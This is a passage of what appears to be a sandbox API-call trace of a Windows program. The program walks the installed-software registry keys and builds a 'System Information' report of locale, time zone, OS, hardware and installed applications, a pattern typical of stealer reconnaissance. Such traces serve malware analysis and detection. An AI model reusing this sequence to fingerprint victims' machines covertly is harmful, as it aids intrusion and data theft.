| out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.634] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.634] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.634] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.635] LocalFree (hMem=0x6bec00) returned 0x0 [0261.635] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.635] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.646] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="DirectDrawEx", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.646] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.646] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.646] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.647] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.648] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.648] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.648] LocalFree (hMem=0x6bec00) returned 0x0 [0261.648] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.648] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DXM_Runtime", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.648] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="DXM_Runtime", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.649] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.649] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.649] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.649] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.650] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.650] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.651] LocalFree (hMem=0x6bec00) returned 0x0 [0261.651] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.651] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x4, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.651] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="Fontcore", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.651] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.651] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.651] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.652] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.652] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.653] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.654] LocalFree (hMem=0x6bec00) returned 0x0 [0261.654] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.654] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x5, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.654] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IE40", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.655] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.655] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.655] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.655] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.657] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.657] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.657] LocalFree (hMem=0x6bec00) returned 0x0 [0261.657] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.657] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x6, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.657] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IE4Data", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.657] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.657] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.657] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.658] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.658] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.658] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.658] LocalFree (hMem=0x6bec00) returned 0x0 [0261.658] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.658] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x7, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.659] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IE5BAKEX", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.659] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.659] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.659] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.659] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.659] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.659] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.660] LocalFree (hMem=0x6bec00) returned 0x0 [0261.660] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.660] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x8, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.660] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IEData", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.660] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.660] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.660] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.660] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.661] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.661] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.661] LocalFree (hMem=0x6bec00) returned 0x0 [0261.661] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.661] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x9, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.661] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="MobileOptionPack", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.661] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.661] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.661] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.662] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.662] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.667] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.667] LocalFree (hMem=0x6bec00) returned 0x0 [0261.667] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.667] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xa, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MPlayer2", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.668] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="MPlayer2", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.668] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.668] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.668] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.668] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.669] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.669] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.669] LocalFree (hMem=0x6bec00) returned 0x0 [0261.669] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.669] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xb, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.669] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="SchedulingAgent", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.673] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.674] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.674] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.674] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.704] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.704] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.705] LocalFree (hMem=0x6bec00) returned 0x0 [0261.705] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.705] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xc, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.705] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="WIC", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.706] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.706] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.706] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac8*=0x1000) returned 0x2 [0261.707] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.707] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.707] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.707] LocalFree (hMem=0x6bec00) returned 0x0 [0261.708] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.708] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xd, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{16735AF7-1D8D-3681-94A5-C578A61EC832}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.708] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{16735AF7-1D8D-3681-94A5-C578A61EC832}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.708] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.708] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.709] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft .NET Framework 4.8", lpcbData=0x24fac8*=0x3a) returned 0x0 [0261.709] LocalAlloc (uFlags=0x40, uBytes=0x2074) returned 0x6f35b0 [0261.709] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="4.8.03761", lpcbData=0x24facc*=0x14) returned 0x0 [0261.709] StrStrW (lpFirst="Microsoft .NET Framework 4.8", lpSrch="4.8.03761") returned 0x0 [0261.709] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft .NET Framework 4.8 4.8.03761\n") returned 40 [0261.709] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n", lpSrch="\x09Microsoft .NET Framework 4.8 4.8.03761\n") returned 0x0 [0261.709] lstrlenW (lpString="\x09Microsoft .NET Framework 4.8 4.8.03761\n") returned 40 [0261.710] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n") returned 305 [0261.710] LocalAlloc (uFlags=0x40, uBytes=0x3b2) returned 0x6bfc08 [0261.710] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.713] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.713] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.713] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.713] LocalFree (hMem=0x6bec00) returned 0x0 [0261.713] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.713] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xe, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.714] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.714] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.714] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.714] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219", lpcbData=0x24fac8*=0x78) returned 0x0 [0261.714] LocalAlloc (uFlags=0x40, uBytes=0x20f0) returned 0x6f35b0 [0261.714] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="10.0.40219", lpcbData=0x24facc*=0x16) returned 0x0 [0261.714] StrStrW (lpFirst="Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219", lpSrch="10.0.40219") returned="10.0.40219" [0261.714] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n") returned 62 [0261.714] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n", lpSrch="\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n") returned 0x0 [0261.714] lstrlenW (lpString="\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n") returned 62 [0261.714] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n") returned 345 [0261.714] LocalAlloc (uFlags=0x40, uBytes=0x42e) returned 0x6bffc8 [0261.715] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.715] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.715] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.715] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.716] LocalFree (hMem=0x6bec00) returned 0x0 [0261.717] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.717] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0xf, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.717] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{37B8F9C7-03FB-3253-8781-2517C99D7C00}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.717] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.717] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.717] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030", lpcbData=0x24fac8*=0x7c) returned 0x0 [0261.717] LocalAlloc (uFlags=0x40, uBytes=0x20f8) returned 0x6f35b0 [0261.717] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="11.0.61030", lpcbData=0x24facc*=0x16) returned 0x0 [0261.717] StrStrW (lpFirst="Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030", lpSrch="11.0.61030") returned="11.0.61030" [0261.717] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n") returned 64 [0261.717] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n", lpSrch="\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n") returned 0x0 [0261.717] lstrlenW (lpString="\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n") returned 64 [0261.717] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n") returned 407 [0261.717] LocalAlloc (uFlags=0x40, uBytes=0x4ae) returned 0x690af8 [0261.718] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.718] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.719] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.719] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.719] LocalFree (hMem=0x6bec00) returned 0x0 [0261.719] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.719] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x10, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.719] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.720] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.720] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.720] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161", lpcbData=0x24fac8*=0x7e) returned 0x0 [0261.720] LocalAlloc (uFlags=0x40, uBytes=0x20fc) returned 0x6f35b0 [0261.720] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="9.0.30729.6161", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.720] StrStrW (lpFirst="Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161", lpSrch="9.0.30729.6161") returned="9.0.30729.6161" [0261.720] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n") returned 65 [0261.720] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n", lpSrch="\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n") returned 0x0 [0261.720] lstrlenW (lpString="\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n") returned 65 [0261.720] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n") returned 471 [0261.720] LocalAlloc (uFlags=0x40, uBytes=0x530) returned 0x6bfc08 [0261.721] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.721] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.722] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.722] RegCloseKey (hKey=0x2b8) returned 0x0 